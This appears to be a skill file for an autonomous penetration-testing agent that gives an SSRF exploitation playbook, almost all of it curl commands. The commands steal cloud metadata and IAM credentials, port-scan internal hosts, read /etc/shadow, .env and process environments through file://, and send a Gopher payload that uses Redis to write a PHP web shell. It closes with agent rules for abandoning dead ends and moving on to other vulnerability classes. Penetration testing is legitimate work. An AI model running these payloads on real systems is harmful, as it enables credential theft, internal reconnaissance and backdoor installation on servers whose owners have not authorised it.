| name | exploit-ssrf |
| description | Server-Side Request Forgery (SSRF) — exploiting server-side URL fetching to access internal services, cloud metadata (AWS/GCP/Azure), internal APIs, and port scanning. Covers IP bypass techniques, DNS rebinding, Gopher protocol smuggling, and redirect-based bypass. |
| metadata | {"subdomain":"web-exploitation","mitre_attack":"T1190","when_to_use":"ssrf, server side request forgery, url fetch, internal service, cloud metadata, 169.254.169.254, imds, metadata endpoint, redirect, gopher, dns rebinding, internal network, localhost access, port scan ssrf, url parameter, fetch url"} |
Server-Side Request Forgery (SSRF)
Exploits server-side URL fetching to access internal services, cloud metadata, or internal APIs not reachable from external networks.
Detection
curl -s 'https://<TARGET>/fetch?url=http://<CALLBACK>/ssrf_test' -o ssrf_callback.txt
curl -s 'https://<TARGET>/fetch?url=http://127.0.0.1/' -o ssrf_localhost.txt
Cloud Metadata Exploitation
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/' -o ssrf_aws_meta.txt
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' -o ssrf_aws_role.txt
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>' -o ssrf_aws_creds.txt
curl -s 'https://<TARGET>/fetch?url=http://metadata.google.internal/computeMetadata/v1/?recursive=true' -H 'Metadata-Flavor: Google' -o ssrf_gcp_meta.txt
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01' -H 'Metadata: true' -o ssrf_azure_meta.txt
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/metadata/v1.json' -o ssrf_do_meta.txt
Internal Service Scanning
for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do
curl -s -o /dev/null -w "Port $port: %{http_code} (%{time_total}s)\n" \
"https://<TARGET>/fetch?url=http://127.0.0.1:${port}/"
done > ssrf_port_scan.txt
for i in $(seq 1 254); do
curl -s -o /dev/null -w "10.0.0.$i: %{http_code} (%{time_total}s)\n" \
"https://<TARGET>/fetch?url=http://10.0.0.${i}/" --max-time 3
done > ssrf_internal_scan.txt
Bypass Techniques
Gopher Protocol
GOPHER_PAYLOAD="gopher://127.0.0.1:6379/_*3%0d%0a\$3%0d%0aset%0d%0a\$1%0d%0a1%0d%0a\$34%0d%0a<?php%20system(\$_GET['cmd']);?>%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$3%0d%0adir%0d%0a\$13%0d%0a/var/www/html%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$10%0d%0adbfilename%0d%0a\$9%0d%0ashell.php%0d%0a*1%0d%0a\$4%0d%0asave%0d%0a"
curl -s "https://<TARGET>/fetch?url=${GOPHER_PAYLOAD}" -o ssrf_gopher.txt
Application-Feature SSRF
When the application mediates server-side HTTP requests through a feature (not a raw ?url= parameter), look for these vectors:
curl -s -X POST 'https://<TARGET>/import' \
-d 'url=http://127.0.0.1:8080/admin' -o ssrf_import.txt
for port in 80 443 3000 5000 8000 8080 8443 9000; do
curl -s -o ssrf_admin_${port}.txt \
'https://<TARGET>/<SSRF_VECTOR>' \
--data-urlencode "url=http://127.0.0.1:${port}/admin"
echo "Port $port: $(wc -c < ssrf_admin_${port}.txt) bytes"
done
Local File Read via file://
When the server-side fetcher supports the file:// scheme:
curl -s 'https://<TARGET>/fetch?url=file:///.env' -o ssrf_env.txt
curl -s 'https://<TARGET>/fetch?url=file:///etc/shadow' -o ssrf_shadow.txt
curl -s 'https://<TARGET>/fetch?url=file:///etc/passwd' -o ssrf_passwd.txt
curl -s 'https://<TARGET>/fetch?url=file:///proc/self/environ' -o ssrf_environ.txt
curl -s 'https://<TARGET>/fetch?url=file:///proc/self/cmdline' -o ssrf_cmdline.txt
curl -s 'https://<TARGET>/fetch?url=file:///app/app.py' -o ssrf_source.txt
curl -s 'https://<TARGET>/fetch?url=file:///var/www/html/config.php' -o ssrf_config.txt
Circuit-Breaker — Dead-End Detection (MANDATORY)
SSRF bypass research is a vast space (CRLF, IPv6, DNS rebinding, @-syntax, IP encoding, Unicode normalization, …). Iterating bypass variants against ONE target endpoint that returns the SAME error response is rarely productive — the underlying block is usually parse_url() host validation or a curl --protocols allowlist that no syntax variant defeats.
Rule: After 3 consecutive failures with identical error signature against the same target host:port via the same SSRF vector, STOP iterating SSRF bypasses on that target. Write exploit/PIVOT.md documenting tried variants, then pivot to:
- A different vuln class named in recon
SUMMARY.md (most common win — recon usually surfaces 2-3 attack classes; pick the next one).
- A stored-input rendering surface — many CRUD apps that have SSRF also have stored XSS / SSTI on a different field (see
ssti.md Twig "Multi-surface rendering rule").
file:// or gopher:// locally — if parse_url() accepts these, you don't need to escape the host check.
- Loopback to the front-end app's own admin/debug routes:
http://host.docker.internal:<APP_PORT>/admin, /debug, /.git/config, /server-status.
LAST=""; STRIKES=0
for variant in raw encoded ipv6 rebind; do
RESP=$(curl -s "http://<TARGET>/<SSRF_VECTOR>" --data-urlencode "url=<variant>" | md5sum | cut -d' ' -f1)
[ "$RESP" = "$LAST" ] && STRIKES=$((STRIKES+1)) || STRIKES=0
LAST=$RESP
[ $STRIKES -ge 3 ] && echo "DEAD END — PIVOT" && break
done
Anti-pattern: 20+ SSRF bypass attempts against a single port that consistently returned "Failed to fetch URL" or identical error pages. The block is upstream of URL syntax — the variant space is exhausted.